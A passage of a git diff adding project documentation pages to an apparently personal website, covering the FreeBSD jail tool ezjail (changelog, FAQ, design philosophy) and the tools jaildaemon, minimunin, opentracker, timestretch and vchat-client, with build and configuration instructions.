291 * ezjail-admin now again allows recreating Jails with the -x option. This was broken when introducing the Jail root check in V 1.3. Thanks to Mike Harding.
292 * An experimental script ezjail-release.sh has been added to CVS which allows creating the basejail from FreeBSD ftp-Server. However, this script has known issues, like updating existing basejail's ports does not remove obsolete files, also there is no documentation.
293* V1.3 ezjail-1.3.tar.bz2 (2006-02-16)
294
295 * Removed an ugly shell variable quoting bug that led to ezjail.sh fail for multiple jails. Thanks to Alex Moura. PLEASE UPDATE FROM 1.2 as fast as possible.
296 * ezjail-admin create now checks, whether a given Jail root already exists and refuses to install. Thanks to Mark Bucciarelli for finding this one.
297 * /boot and /rescue have now become part of the basejail. Someone please kick me for missing that until now. New jails now are < 2 MB in size.
298* V1.2 ezjail-1.2.tar.bz2 (2006-02-10)
299
300 * A subsystem providing auto configuration on Jail has been created. You may specify flavours at Jail creation. See section Flavours.
301 * ezjail-admin update now allows cvs co or cvs up of ports in the basejail by providing the -p or -P option.
302 * /lib and /libexec have now become part of the basejail. Someone please kick me for missing that until now.
303 * ezjail-admin now allows setup as an alias command to update to reduce confusion.
304 * ezjail-admin delete now ensures, that the Jail is not running. Deleting running Jails led to panics in several occasions.
305 * ezjail-admin update now performs several checks to make sure the source tree is really there and complete.
306 * ezjail-admin create now tests for services listening on the new Jails IP or on all IPs and warns if it finds any.
307 * ezjail-admin create now replaces any character in Jail name not suitable for shell variables by underscore. This leads to the situation that two jails must not have identical names after them being piped through tr -c [:alnum:] _, thanks go to Gunjin.
308 * A default installation PREFIX is provided now. Installing to / seems not too useful and should not be default.
309 * Documentation has been rewritten and simplified a lot.
310* V1.1 ezjail-1.1.tar.bz2 (2005-10-26)
311
312 * minor typo in ezjail.sh, changed #/bin/sh to #!/bin/sh, thanks go to Alex Samorukov.
313 * Makefile ensures that all directories are there when installing. Helps with odd $PREFIXes
314 * ezjail-admin now creates $basejail/usr itself, since cpio creates missing intermediate directories in 0700 which is bad
315 * ezjail-admin now verifies the existence of its basejail before creating Jails
316* V1.0 ezjail-1.0.tar.bz2 (2005-10-14)
317
318 * first release
319 * made FreeBSD port for ezjail
320 * actually implemented ezjail-admin delete feature
321 * documentation completed
322 * lots of bug fixes I can't remember anymore, however V0.1 has never been used by anyone but me
323* V0.1 ezjail-0.1.tar.bz2 (2005-09-26)
324
325 * highly experimental version
326 * first real world testing on a server system with >20 jails
327* V0.0 - Not packaged (2005-09-04)
328
329 * first alpha version
330
331FAQ
332===
333
334Q: I have created a Jail but it won't come up when I run /usr/local/etc/rc.d/ezjail start JAILNAME
335 A: Please check, that the Jail is really "not comming up" by examining the output of the command jls. Unlike the command jail which leaves you with an interactive shell in your Jail, rc.d/ezjail is an rc-script. It is most commonly meant to run at system startup and shutdown where entering an interactive shell would interrupt the boot process. If you want an interactive shell in your Jail after starting it, use the command ezjail-admin console JAILNAME.
336
337 A: Please check, that you have enabled ezjail by adding the line ezjail_enable="YES" to rc.conf.
338
339 A: Please check, that you have enabled ezjail BEFORE you ran the rc.d/ezjail script the first time. See the rc.d introduction for further details.
340
341 A: If this is the case, check the console output in /var/log/jail_JAILNAME_console.log. Most commonly you'll find reasons for your jails startup failure there.
342
343Q: Why does ezjail want an extra copy of ports tree for its base jail? Isn't that just waste of disc space? Can't we just use the base systems ports tree?
344 A: Counter question: why do we need an extra copy of the base system? Isn't that just waste of disc space? Can't we just mount / as basejail to all jails?
345
346 ezjail philosophy very much is influenced by its history: it was created to simplify administration of a shell server with many actual users. Even if you would trust all your users, you may not trust all software they do install and hence not anything done in any Jail. So I decided to strictly seperate what you can access within Jails from everything the host system needs to operate. This boundary is ezjail_root.
347
348 For the ports case I would not like everyone to know which port is installed in host system, as might be guessed by work/-directories, this might reveal attack vectors to the host system. A problem like ignoring ro flags when mounting from fstab may give you an idea why I consider that boundary essential to system security.
349
350 If you know what you're doing and are sure, your host system has an WRKDIRPREFIX none of the Jails can access, you might follow these instructions to mount ports via nullfs. Another way of doing this is to mv /usr/ports/ /usr/jails/basejail/usr/ports/; ln -s /usr/jails/basejail/usr/ports /usr/ports; in host system. ezjail will not offer this as an option.
351
352Q: What exactly is the difference between the template Jail and a Flavour?
353 A: In simple words: THE template is all directories that FreeBSD thinks your system needs besides the sharable files in your basejail, like /etc/ and /var/. It is being recreated everytime you ezjail-admin update. So it is not meant to be modified by the user to distribute settings to all Jails to be created. A Flavour on the other hand is set up by the user, contains all non-sharable files not in the base system that you think belongs to a newly created Jail (usually stuff in /usr/local/ and your settings in /etc/). You may have several Flavours each customized for a certain job: an httpd-Flavour, a shell-server only Flavour, a full featured bamp-server and so on. Flavours are never modified by ezjail, the template should not be modified by the user.
354
355Q: I am running version x of ezjail and want to upgrade to version y. Is there a safe upgrade path without losing all of my Jails?
356 A: ezjail is basically just two scripts. The config files have been designed to be future compatible. So installing any version from ports, cvs or tar ball by ezjails Makefile will do the job of upgrading. Your Jails are safe.
357
358Q: I have created some jails prior to using ezjail. How can I import them as ezjails?
359 A: There now is an import helper script in the ezjail tar bundle that assist you with moving complete systems into ezjails by turning them into ezjail-admin restore-able ezjail archives.
360
361 A: Assume your Jail is under /legacyjail Basically you only need to create an empty directory /legacyjail/basejail/ and call ezjail-admin create -x -r /legacyjail JAILNAME JAILIP and your Jail enjoys all of ezjails starting/stopping capabilities..
362
363 To make the Jail a complete ezjail, e.g. use the basejail/, use the following code snippet after stopping the Jail. (Replace /legacyjail with the path to your Jail).
364
365 .. code-block:: sh
366
367 cd /legacyjail
368 mkdir OLDBASE
369 for dir in bin boot lib libexec rescue sbin usr/bin usr/include usr/lib usr/libexec usr/ports usr/sbin usr/src usr/share; do
370 mv ${dir} OLDBASE/; ln -s /basejail/${dir} ${dir}
371 done
372
373 There is a chance that your binaries require some of the libraries in its old base system. If they don't, you can remove OLDBASE, if they do, use the following snippet to create the old libs.
374
375Q: The clock inside my Jails always shows the wrong time. Why is that?
376 A: Create a soft link from /etc/localtime to the appropriate time zone file, in my case: /usr/share/zoneinfo/Europe/Berlin.
377
378Q: I messed up the whole show and ezjails files are around EVERYWHERE. Some of them wont even go away, if I rm -rf them as root. How do I get a clean start?
379 A: On a standard FreeBSD installation several files are being installed with the "system immutable" flag set. Type man chflags for more details. However, to reset everything to a state with no jails and no files lurking around use the following lines, on kern secure level 0, as root, on a standard ``ezjail.conf``
380
381 .. code-block:: sh
382
383 chflags -R noschg /usr/jails/
384 rm -rf /usr/jails/
385 rm -rf /usr/local/etc/ezjail/
386 rm /etc/fstab.*
387
388 If you configured ezjail to use zfs, you can just throw away ezjail's parent zfs, as configured in ezjail_jailzfs.
389
390Q: Your HTML sucks.
391 A: This is not a question. But yeah, I know.
392
393----
394
395Author/Contact
396==============
397
398ezjail was written by Dirk Engling with lot of support from the ezjail community. We like to hear from happy customers. My personal address is erdgeist@erdgeist.org. Requests should go to the project mailing list ezjail@erdgeist.org. You can subscribe to that list at ezjail-subscribe@erdgeist.org. There is an IRC channel #ezjail on ircnet. Please send bug reports, comments and feature requests. Donations are welcome… in form of beer. See…
399
400----
401
402License
403=======
404
405ezjail is considered `beer ware </beerware.html>`_.
406
407----
408
409Thanks
410======
411
412Here I need to re-add a modernized list of thanks.
diff --git a/stories/projects/ezjail_philosophy.rst b/stories/projects/ezjail_philosophy.rst
new file mode 100644
index 0000000..52e2f7f
--- /dev/null
+++ b/stories/projects/ezjail_philosophy.rst
@@ -0,0 +1,50 @@
1.. link:
2.. description: the philosophy behind the ezjail framework
3.. tags:
4.. date: 2015/02/01 19:10:08
5.. title: ezjail - philosophy
6.. slug: ../arts/software/ezjail/philosophy
7
8.. contents::
9 :depth: 1
10 :class: ezjail-toc
11
12----
13
14Overview
15========
16
17Computer programs tend to contain programming errors. Chances to avoid them in every program that provides services to the internet are low. What is needed is a way of limiting the impact of programming errors to the system hosting the service.
18
19Computers become faster and their resources in terms of memory, mass storage and internet connectivity can suite several users at once. This led to the development of time sharing computing, most popular in Unix. The next level of abstraction is virtual servers enabling every owner of such an entity to create users and use the power of multitasking as well, without even noticing that the machine is not completely under his control.
20
21Some server software expects its configuration to be always in the same location in file system and makes changing this location difficult to impossible. Some server software requires certain privileges you would not want to grant it, even if you would assume it being error-free. Some users want certain privileges you would not want to grant them, even if you would assume they know what they are doing. What is needed is a way of limiting the impact of permissions you have to grant.
22
23Historical approaches
24=====================
25
26Several approaches to achieve most of the above have been made. It has shown that the most secure way to do so is to physically separate services to different machines. Of course, this has its costs, is a lot more complex since you have to reproduce and administrate the setup over and over. And, of course, it contradicts the idea of using the grown performance as shown in the second paragraph. Luckily most of the problems were solvable, solutions being condensed in the ezjail script set.
27
28FreeBSD has introduced the concept of jails to eliminate shortcomings seen in so called chroot-environments. chroot changes the file system root for certain programs, leaving them without any means of even expressing the need for access to resources outside their constricted world. Jails take this approach a little further, they represent virtual computers (virtual server), each bound to a single internet address having its file system root somewhere under the real computers (hosting server) file system root. Certain rulesets forbid jailed programs access to specific devices, for example hard drives or kernel memory.
29
30In theory this concept enables you to lock in each (server-)program you run on your computer to its own virtual world limiting the impact it may (deliberately or by mistake) have on other services. In practice each program depends on a set of libraries, tools, configuration directories, system users, other installed software and so on. In short: most servers need at least a small subset of the host servers operating system (OS). Complete virtual servers, of course, need a whole copy of the host servers OS.
31
32Problems in historical approaches
33=================================
34
35Locking in a single program that way may work out fine, as it "only" doubles the size your operating system needs on hard disc, and hard disc space is becoming cheaper as I write, the FreeBSD OS only needs around 100MB. However, copying all the data does not scale well when you need hundreds of programs being jailed or want to provide dozens of virtual computers. Further, distributing OS software updates to all this instances, which possibly even were created from different versions of the OS source code, becomes an administration nightmare.
36
37Although hard disc space is becoming less of an issue, OSs tend to assume the space rather being occupied by few large files then many small files. So they reserve a limited number of control structures for storing files and directories, called "inodes". Now, copying the whole OS many times consumes many of those valuable inodes on disc, eventually preventing the creation of new virtual servers. Worse: since each library, each executable and each configuration file of the OS exists as several copies, the OS has no way of telling that they're the same and thus has to load each copy to memory, if any of the virtual servers or jailed programs need them.
38
39To complete the picture of the situation I was confronted with when starting the ezjail project: the way to install a copy of the OS to create a virtual server involved (and still involves) installing a copy of the OS source code and invoking several commands to compile, install and configure it. This still left the administrator with the need to start the virtual server by hand and entering a lot of complicated configuration statements to the OSs startup scripts in order to have them run automatically when the server starts up. Jailing programs or virtual servers was rather complicated, achieving any of the goals set at the beginning of this text far away.
40
41Developing a solution
42=====================
43
44It was very helpful that Unix' file system hierarchy reflects historic optimizations. The `Filesystem Hierarchy Standard <http://www.pathname.com/fhs/>`_ defines a set of "sharable files", mostly OS binaries, libraries, header files and resources. Those directories are meant to be shared by several computers (via Net-boot, eventually read only from CD-ROM). "unsharable files" on the other hand, contain configuration data, dynamic data like user mails, installed applications etc. While the former directories only need to exist once for all jails and can be provided in a read only fashion, the latter must be provided for each jail and, of course, be writable.
45
46And here a path to the solution shows: most modern OSs know a way of "local mount"/"loopback mount"/"null mount" directories back into the directory hierarchy. That way it is possible to provide all sharable files in a read only fashion to the chroot environment of jailed programs. All unique data a virtual server need is in the "unshared files" which must be copied for each of them. Fortunately, these files are just 2MB in size on the FreeBSD OS. How the sharable files are being provided is subject to implementation. The ezjail project mounts one directory containing all those shareable files and provides soft links from all directories not in the unshared files part of the OS.
47
48Besides having a central point for OS updating all instances at once, this approach can prevent standard root kits to install, since most of the binaries they usually replace are in the unshared files, yet, when someone really wants to install their own version of the OS binaries, one can do so by just removing the soft links and provide self compiled system binaries. System administrators know exactly, which OS version problems in virtual servers are related to, since all virtual servers have the same base system.
49
50Everything left to do is to provide a neat interface, do some sanity checks, wrap it properly around the existing scripts of your OS and find a nice name. In my case: `ezjail <ezjail.html>`_.
diff --git a/stories/projects/jaildaemon.rst b/stories/projects/jaildaemon.rst
new file mode 100644
index 0000000..cc818e3
--- /dev/null
+++ b/stories/projects/jaildaemon.rst
@@ -0,0 +1,77 @@
1.. description: is a tool for the FreeBSD operating system to allow flexible and secure communication from jail environments to the host system.
2.. tags: project
3.. date: 2015/02/18 19:10:08
4.. title: jaildaemon
5.. subtitle: A fixed command-line interface for FreeBSD jails to their host system
6.. slug: ../arts/software/jaildaemon/index
7.. prio: 850
8
9.. contents::
10 :depth: 1
11 :class: ezjail-toc
12
13----
14
15Overview
16========
17
18.. image:: http://www.freebsd.org/gifs/daemon_hammer-tn25.jpg
19 :align: right
20
21Virtual FreeBSD jail based server environments can not easily trigger actions in the host system, most prominently restarting themselves (if they ``kill -1`` everything, they usually stay shut down) and trigger actions like routing table updates, triggering zfs snapshots or rollbacks and configuring ``tun/tap``-Devices (as an openvpnd would).
22
23There are several less-than-optimal solutions for that problem: granting forced-command ssh access to jails, polling some Jail-state from within the host system or dig some proprietary socket holes through the Jail's barrier, exposing a root-shell attack vector to the outside world.
24
25*jaildaemon* aims to solve the problem in a simple and straight forward way while trying to minimize the attack surface for adversaries from the Jail and the network. It is a tiny daemon running in the host system that forks a probe process with a single associated command on demand, attaches it to a single jail and (optionally) assigns it a verbose proctitle. When the Jail's root user sends a SIGHUP to this probe process, it dies with a magic exit code, signalling the daemon to execute the associated command (in host context). You can chose to have the daemon restart the probe process after the command is executed (e.g. when it triggers updating routing tables) or just wait for it to be restarted by the Jail management tool (e.g. when using ``/usr/local/etc/rc.d/ezjail restart shell.foo.com`` as a reboot helper).
26
27----
28
29Code
30====
31
32You can always get the latest version of *jaildaemon*, use ``git clone git://erdgeist.org/jaildaemon`` or the legacy view ``cvs -d :pserver:anoncvs@cvs.erdgeist.org:/home/cvsroot co jaildaemon`` with an empty password to check it out. There is a *jaildaemon* tarball, but no versioning yet. You can scroll through the source at `jaildaemon gitweb </gitweb/jaildaemon>`_ or `jaildaemon cvsweb (deprecated) </cvsweb/jaildaemon>`_. Typing ``make install`` installs the binary in your ``${PREFIX}/bin`` (or ``/usr/local``, if none is set) and the rc-script to ``${PREFIX}/etc/rc.d/``.
33
34A tight integration with `ezjail </arts/software/ezjail/>`_ is, of course, following soon.
35
36----
37
38Examples
39========
40
41Start the daemon as root with ``jaildaemon -D``, with optional parameters ``p`` and ``f`` to request the pidfile being written or to specify a different controlling command unix domain socket location (that is used by *jaildaemon* when run in client mode to communicate with the server, and defaults to ``/var/run/jaildaemon.pipe``), respectively.
42
43If you installed the package, you can just enable *jaildaemon* in your ``/etc/rc.conf``, by adding ``jaildaemon_enable=YES``. It should then start at reboot, or when you run ``/usr/local/etc/rc.d/jaildaemon start``.
44
45Start a new probe process in a Jail (in this example jid 23) to trigger the execution of the script::
46
47 /usr/local/bin/parse_route_config -s /usr/jails/shell.foo.com/
48
49while identifying as 'route config update' in the jail and respawn::
50
51 jaildaemon -j 23 -c '/usr/local/bin/parse_route_config -s /usr/jails/shell.foo.com/' -t 'route config update' -r
52
53From within the jail (``ezjail-admin console shell.foo.com``) trigger the command by ``pkill -HUP -f 'route config update'``.
54
55Start a (non-spawning) Jail reboot trigger::
56
57 jaildaemon -j 23 -c '/usr/local/etc/rc.d/ezjail restart shell.foo.com' -t REBOOT
58
59Now, from within that Jail, reboot via ``pkill -HUP -f REBOOT``.
60
61----
62
63Version history
64===============
65
66* Version 0.2:
67
68 * Fixed a bug where *jaildaemon* when run from /etc/rc would ignore SIGHUP by default.
69 * You can now make the probe drop into another uid, so that non-root-processes can trigger actions, as well.
70 * Allow *jaildaemon* to accept the jailname for the -j parameter, as well.
71
72----
73
74License
75=======
76
77*jaildaemon* was written by `Dirk Engling <mailto:erdgeist@erdgeist.org>`_ with lots of help from sg and is considered `beer ware </beerware.html>`_.
diff --git a/stories/projects/minimunin.rst b/stories/projects/minimunin.rst
new file mode 100644
index 0000000..170c30a
--- /dev/null
+++ b/stories/projects/minimunin.rst
@@ -0,0 +1,75 @@
1.. link:
2.. description: is a tiny munin-node implementation for FreeBSD written in pure bourne shell providing basic plugin support.
3.. tags: project
4.. date: 2015/02/01 19:10:08
5.. title: minimunin
6.. subtitle: A tiny munin-node implementation for FreeBSD written in pure bourne shell providing basic plugin support
7.. slug: ../arts/software/minimunin/index
8.. prio: 800
9
10.. contents::
11 :depth: 1
12 :class: ezjail-toc
13
14----
15
16Overview
17========
18
19.. image:: http://www.freebsd.org/gifs/daemon_hammer-tn25.jpg
20 :align: right
21
22`munin <http://munin-monitoring.org/>`_ is an open source multi platform service monitoring framework, written in perl. Munin nodes report server statistics to their respective masters. Unfortunally, the munin-node script is written in perl, too – even though the language features never actually are used. On a FreeBSD system this introduces unnecessary dependencies. *minimunin* tries to address this: It was implemented as a simple shell script triggered from inetd.conf and comes with some handy built in monitoring commands. Most of the munin plugins should also work.
23
24----
25
26Code
27====
28
29You can always get the latest version of *minimunin*, use ``git clone git://erdgeist.org/minimunin` or the legacy view ``cvs -d :pserver:anoncvs@cvs.erdgeist.org:/home/cvsroot co minimunin`` with an empty password to check it out. There is a `minimunin tarball <minimunin-0.2.tar.bz2>`_. You can scroll through the source at `minimunin gitweb </gitweb/minimunin>` or `minimunin cvsweb (deprecated) </cvsweb/minimunin>`_. Typing ``make install`` installs the binary in your ``${PREFIX}/bin`` (or ``/usr/local``, if none is set).
30
31----
32
33Installation
34============
35
36After getting *minimunin* either from source or by installing the FreeBSD port/package, you need to activate *minimunin*. Just add the line::
37
38 munin stream tcp nowait nobody /usr/libexec/tcpd /usr/local/bin/minimunin
39
40to your ``/etc/inetd.conf``. Alternatively, if you plan to run plugins that require root permissions (e.g. for changing to a different user via the plugin config), add::
41
42 munin stream tcp nowait root /usr/libexec/tcpd /usr/local/bin/minimunin`` to your ``/etc/inetd.conf
43
44In both cases you need to enable inetd by setting ``inetd_enable="YES"`` in your ``/etc/rc.conf`` and restart inetd with the ``service inetd start`` command. You may also want to restrict access to your munin node via the ``/etc/hosts.allow`` and ``/etc/hosts.deny`` configuration files.
45
46----
47
48Plugins
49=======
50
51Munin has been designed to allow administrators to `write their own plugins <http://munin-monitoring.org/wiki/HowToWritePlugins>`_ to provide statistics not covered by the base installation. You can find `many munin plugins here <http://munin-monitoring.org/browser/munin-contrib/plugins>`_. *minimunin* can execute those plugins, as well. It expects plugin files in the folder /usr/local/etc/minimunin-plugins and will ignore `wild card plugins <http://munin-monitoring.org/wiki/WildcardPlugins>`_. In order to use them (after reading the documentation on the project website ;) create the appropriate soft link, e.g. ``ln -s if_ /usr/local/etc/minimunin-plugins/if_bge0``. Please note that the plugins must be executable and you may need to install further dependencies for plugins, such as perl, python or monitoring helpers.
52
53munin plugins `can be configured with ini-file style config files <http://munin-monitoring.org/wiki/plugin-conf.d>`_. *minimunin* expects config to reside under ``/usr/local/etc/minimunin-configs``, either as a single config file or a directory containing respective configs. Currently *minimunin* only supports the config parameters ``env.``-variables, ``user`` and ``command``. The ``group`` and ``timeout`` config parameters are not supported. The ``user`` parameter only works if *minimunin* finds itself being root and otherwise silently ignores the ``user`` parameter.
54
55----
56
57Version history
58===============
59
60* V0.2 `minimunin-0.2.tar.bz2 <minimunin-0.2.tar.bz2>`_ (2014-13-02)
61
62 * Fixed a bug where uptime was not reported correctly. Thanks to Lothar Schmidt.
63 * Fixed a bug where only the last environment setting of a plugin config was obeyed. Thanks to Philipp Wünsche.
64* V0.1 `minimunin-0.1.tar.bz2 <minimunin-0.1.tar.bz2>`_ (2013-09-29)
65
66 * First version, no diffs to previous ones ;)
67
68----
69
70License
71=======
72
73*minimunin* was written by `Dirk Engling <mailto:erdgeist@erdgeist.org>`_ and is considered `beer ware </beerware.html>`_.
74
75Please do not even think about hesitating to contact me via email or `@erdgeist <http://twitter.com/erdgeist>`_ on twitter.
diff --git a/stories/projects/opentracker.rst b/stories/projects/opentracker.rst
new file mode 100644
index 0000000..294d2c9
--- /dev/null
+++ b/stories/projects/opentracker.rst
@@ -0,0 +1,136 @@
1.. link:
2.. description: is a highly scalable tracker software for the bittorrent protocol, currently in use on the largest bulk trackers around.
3.. tags: project
4.. date: 2015/02/19 19:10:08
5.. title: opentracker
6.. subtitle: An open and free bittorrent tracker
7.. slug: ../arts/software/opentracker/index
8.. prio: 1000
9
10.. contents::
11 :depth: 1
12 :class: ezjail-toc
13
14----
15
16.. image:: opentracker_beta3.png
17 :align: left
18 :width: 200px
19
20Overview
21========
22
23*opentracker* is a open and free `bittorrent tracker <http://wiki.theory.org/BitTorrentSpecification>`_ project. It aims for minimal resource usage and is intended to run at your wlan router. Currently it is deployed as an open and free tracker instance. Read our `free and open tracker blog <http://opentracker.blog.h3q.com/>`_ and announce your torrents there (but do not hesitate to setup your own free trackers!).
24
25----
26
27Version History
28===============
29
30*opentracker* is currently only available from CVS. A tar ball will be rolled soon. Use ``git clone git://erdgeist.org/opentracker`` or the legacy view ``cvs -d :pserver:anoncvs@cvs.erdgeist.org:/home/cvsroot co opentracker`` with an empty passwort to check it out. An `*opentracker* gitweb </gitweb/opentracker/>`_ and an `*opentracker* cvsweb (deprecated) </cvsweb/opentracker/>`_ are available.
31
32----
33
34Build instructions
35==================
36
37Until *opentracker* is declared official release ready, the way to install it is::
38
39 cvs -d :pserver:cvs@cvs.fefe.de:/cvs -z9 co libowfat
40 cd libowfat
41 make
42 cd ..
43 # LEGACY: cvs -d:pserver:anoncvs@cvs.erdgeist.org:/home/cvsroot co opentracker
44 git clone git://erdgeist.org/opentracker
45 cd opentracker
46 make
47
48That should leave you with an exectuable called ``opentracker`` and one debug version ``opentracker.debug``.
49
50Some variables in *opentracker*'s Makefile control features and behaviour of *opentracker*. Here they are:
51
52* ``-DWANT_V6`` makes *opentracker* an IPv6-only tracker. More in the v6-section below.
53* *opentracker* can deliver gzip compressed full scrapes. Enable this with ``-DWANT_COMPRESSION_GZIP`` option.
54* Normally *opentracker* tracks any torrent announced to it. You can change that behaviour by enabling ONE of ``-DWANT_ACCESSLIST_BLACK`` or ``-DWANT_ACCESSLIST_WHITE``. Note, that you have to provide a whitelist file in order to make *opentracker* do anything in the latter case. More in the closed mode section below.
55* *opentracker* can run in a cluster. Enable this behaviour by enabling ``-DWANT_SYNC_LIVE``. Note, that you have to configure your cluster before you can use *opentracker* when this option is on.
56* Some statistics *opentracker* can provide are sensitive. You can restrict access to these statistics by enabling ``-DWANT_RESTRICT_STATS``. See section statistics for more details.
57* Fullscrapes is bittorrent's way to query a tracker for all tracked torrents. Since it's in the standard, it is enabled by default. Disable it by commenting out ``-DWANT_FULLSCRAPE``.
58* By default *opentracker* will only allow the connecting endpoint's IP address to be announced. Bittorrent standard allows clients to provide an IP address in its query string. You can make *opentracker* use this IP address by enabling ``-DWANT_IP_FROM_QUERY_STRING``.
59* Some experimental or older, deprecated features can be enabled by the ``-DWANT_LOG_NETWORKS``, ``-DWANT_SYNC_SCRAPE`` or ``-DWANT_IP_FROM_PROXY`` switch.
60* Currently there is some packages for some linux distributions and OpenBSD around, but some of them patch Makefile and default config to make *opentracker* closed by default. I explicitly don't endorse those packages and will not give support for problems stemming from these missconfigurations.
61
62----
63
64Invocation
65==========
66
67*opentracker* can be run by just typing ``./opentracker``. This will make *opentracker* bind to ``0.0.0.0:6969`` and happily serve all torrents presented to it. If ran as root, *opentracker* will immediately chroot to . (or any directory given with the -d option) and drop all priviliges after binding to whatever tcp or udp ports it is requested.
68
69When options were few, *opentracker* used to accept all of them from command line. While this still is possible for most options, using them is quite unhandy: an example invocation would look like ``./opentracker -i 23.23.23.7 -p 80 -P 80 -p 6969 -i 23.23.23.8 -p 80 -r http://www.mytorrentsite.com/ -d /usr/local/etc/opentracker -w mytorrents.list -A 127.0.0.1``.
70
71*opentracker* now uses a config file that you can provide with the ``-f`` switch.
72
73----
74
75Config file
76===========
77
78*opentracker*'s config file is very straight forward and a very well documented example config can be found in the file `opentracker.conf.sample </gitweb/opentracker/tree/opentracker.conf.sample>`_.
79
80----
81
82Closed mode
83===========
84
85While personally I like my tracker to be open, I can see that there's people that want to control what torrents to track – or not to track. If you've compiled *opentracker* with one of the accesslist-options (see Build instructions above), you can control which torrents are tracked by providing a file that contains a list of human readable info_hashes. An example whitelist file would look like ::
86
87 0123456789abcdef0123456789abcdef01234567
88 890123456789abcdef0123456789abcdef012345
89
90To make *opentracker* reload it's white/blacklist, send a ``SIGHUP`` unix signal.
91
92----
93
94Statistics
95==========
96
97Given its very network centric approach, talking to *opentracker* via http comes very naturally. Besides the ``/announce`` and ``/scrape`` paths, there is a third path you can access the tracker by: ``/stats``. This request takes parameters, for a quick overview just inquire `/stats?mode=everything``.
98
99Statistics have grown over time and are currently not very tidied up. Most modes were written to dump legacy-SNMP-style blocks that can easily be monitored by `MRTG <http://oss.oetiker.ch/mrtg/>`_. These modes are: ``peer``, ``conn``, ``scrp``, ``udp4``, ``tcp4``, ``busy``, ``torr``, ``fscr``, ``completed``, ``syncs``. I'm not going to explain these here.
100
101The ``statedump`` mode dumps non-recreatable states of the tracker so you can later reconstruct an *opentracker* session with the -l option. This is beta and wildly undocumented.
102
103You can inquire *opentracker*'s version (i.e. CVS versions of all its objects) using the ``version`` mode.
104
105----
106
107Philosophy
108==========
109
110A torrent tracker basically is an http-Server that collects all clients ip addresses into pools sorted by one of the request strings parameters and answers all other clients that specified this exact same parameter a list of all other recent clients. All technologies to implement this are around for more than twenty years. Still most implementations suck performancewise.
111
112Utilizing the highly scalable server framework from `libowfat <http://www.fefe.de/libowfat/>`_, *opentracker* can easily serve multiple thousands of requests on a standard plastic WLAN-router, limited only by your kernels capabilities ;)
113
114One important design decision of *opentracker* was to not store any data persistently. This reduces wear&tear on hard disks and eliminates problems with corrupt databases.
115
116----
117
118Author
119======
120
121*opentracker* was written by `Dirk Engling <mailto:erdgeist@erdgeist.org>`_, who likes to hear from happy customers.
122
123----
124
125Thanks
126======
127
128A project like this one is impossible without lots of help from friends. It is powered by beer, much energy and love, batches of bug reports and support on the operating system integration side by denis, taklamakan, cryx, supergrobi and – his libowfat always on the bleeding edge – Fefe. Thanks are also due to Hannes for helping me out with designing internal data representation.
129
130----
131
132License
133=======
134
135*opentracker* is considered `beer ware </beerware.html>`_.
136
diff --git a/stories/projects/timestretch.rst b/stories/projects/timestretch.rst
new file mode 100644
index 0000000..15ce5ca
--- /dev/null
+++ b/stories/projects/timestretch.rst
@@ -0,0 +1,63 @@
1.. link:
2.. description: is a fast implementation for SOLA, a sample time stretching algorithm.
3.. tags: project
4.. date: 2015/02/01 19:10:08
5.. title: timestretch
6.. subtitle: a fast sample time stretching implementation
7.. slug: ../arts/software/timestretch/index
8
9.. contents::
10 :depth: 1
11 :class: ezjail-toc
12
13Overview
14========
15
16When reducing or increasing the playback speed of an audio recording, it's pitch usually changes, leading to an audible "mickey mouse" effect. The `SOLA algorithm <http://en.wikipedia.org/wiki/Audio_time-scale/pitch_modification#SOLA>`_ provides a way to change the speed without altering the pitch.
17
18----
19
20Details
21=======
22
23The basic idea behind the method lies in the inherent redundancy in the periodic waves of spoken words or music. A vowel consists of overlayed and repeating waves where a human ear would not mind a single one of those repetitions being there or not:
24
25.. image:: timestretch_1.png
26
27
28If we want to play a sample faster, we can try to find the period length corresponding to the base frequency of the recording in that place and overlap some periods, cross fading the first snippet one into the other. Or put it more visually intuitive:
29
30.. image:: timestretch_2.png
31
32
33Obviously the recording is shorter than before, meaning it can be played in less time. In order to reduce the play time by a fixed ratio, we can alter the length of the overlapping windows (bright blue).
34
35To find the perfect offset to overlay our samples at, we simply brute force the sum of all differences of all samples for each offset, using the `mean squared error <http://en.wikipedia.org/wiki/Mean_squared_error>`_ and selecting the offset where the error is minimal – a process commonly called auto correlation. In our implementation this error is further biased towards the center of our window, so that the algorithm is not forced into selecting some sub optimal (and audibly bad) positions after a while, if the inherent period length the overlapping length differs only slightly.
36
37----
38
39Build instructions
40==================
41
42*timestretch* is available from my git repository. Use ``git clone git://erdgeist.org/timestretch`` to check it out. An `timestretch gitweb </gitweb/timestretch/>`_ is available.
43
44Currently there's only one source file containing the setup routine ``calc_convert_values``, which takes sample rate (used to calculate a proper window length in ms, based on heuristic values) and a tempo, which is a floating point value giving the rate in which to slow down or speed up the recording. It fills global variables you might want to put in a context struct for your project. At exit, the value ``g_input_length`` is the minimum number of samples expected for later processing, ``g_output_length`` is the exact amount of samples produced by each run.
45
46The actual work is done in the ``process_frame`` function which takes a pointer to the input and output buffer, the pointer to some scratch space (set up in ``calc_convert_values`` in this implementation) and a ``frame_flag`` indicating if this is the first frame (where nothing is there to cross fade with), a normal frame and the last frame, where no samples are kept for later cross fading and the caller can continue to resume to non-timestretched playback again.
47
48----
49
50Author
51======
52
53*timestretch* was written by `Dirk Engling <mailto:erdgeist@erdgeist.org>`_, who likes to hear from happy customers.
54
55----
56
57License
58=======
59
60*timestretch* is considered `beer ware </beerware.html>`_.
61
62
63
diff --git a/stories/projects/vchat-client.rst b/stories/projects/vchat-client.rst
new file mode 100644
index 0000000..f540f04
--- /dev/null
+++ b/stories/projects/vchat-client.rst
@@ -0,0 +1,267 @@
1.. link:
2.. description: is a curses based chat client for the arcane vchat protocol.
3.. tags: project
4.. date: 2014/02/01 19:10:08
5.. title: vchat-client
6.. slug: ../arts/software/vchat-client/index
7
8Newbies Guide to vchat via 'Buntclient'
9=======================================
10
111. Get the Source, Luke
12-----------------------
13
14Make sure, you got a shell and the tool called cvs.
15cd to a directory the source shall reside in.
16
17Type::
18
19 $ cvs -d:pserver:anoncvs@cvs.erdgeist.org:/home/cvsroot login
20 $ cvs -z3 -d:pserver:anoncvs@cvs.erdgeist.org:/home/cvsroot co vchat-client
21
22(press return at password prompt)
23
24
252. Do the verpile
26-----------------
27
28Enter the vchat-client/ directory.
29Type::
30
31 $ make
32
33If that fails due to some readline fuckups, try again with::
34
35 $ make OLDREADLINE=-DOLDREADLINE
36
37If you are administrator of your computer and want to install
38vchat-client permanently, type::
39
40 $ make install
41
42You may also run the binary from its compile location.
43
44
453. Get protected
46----------------
47
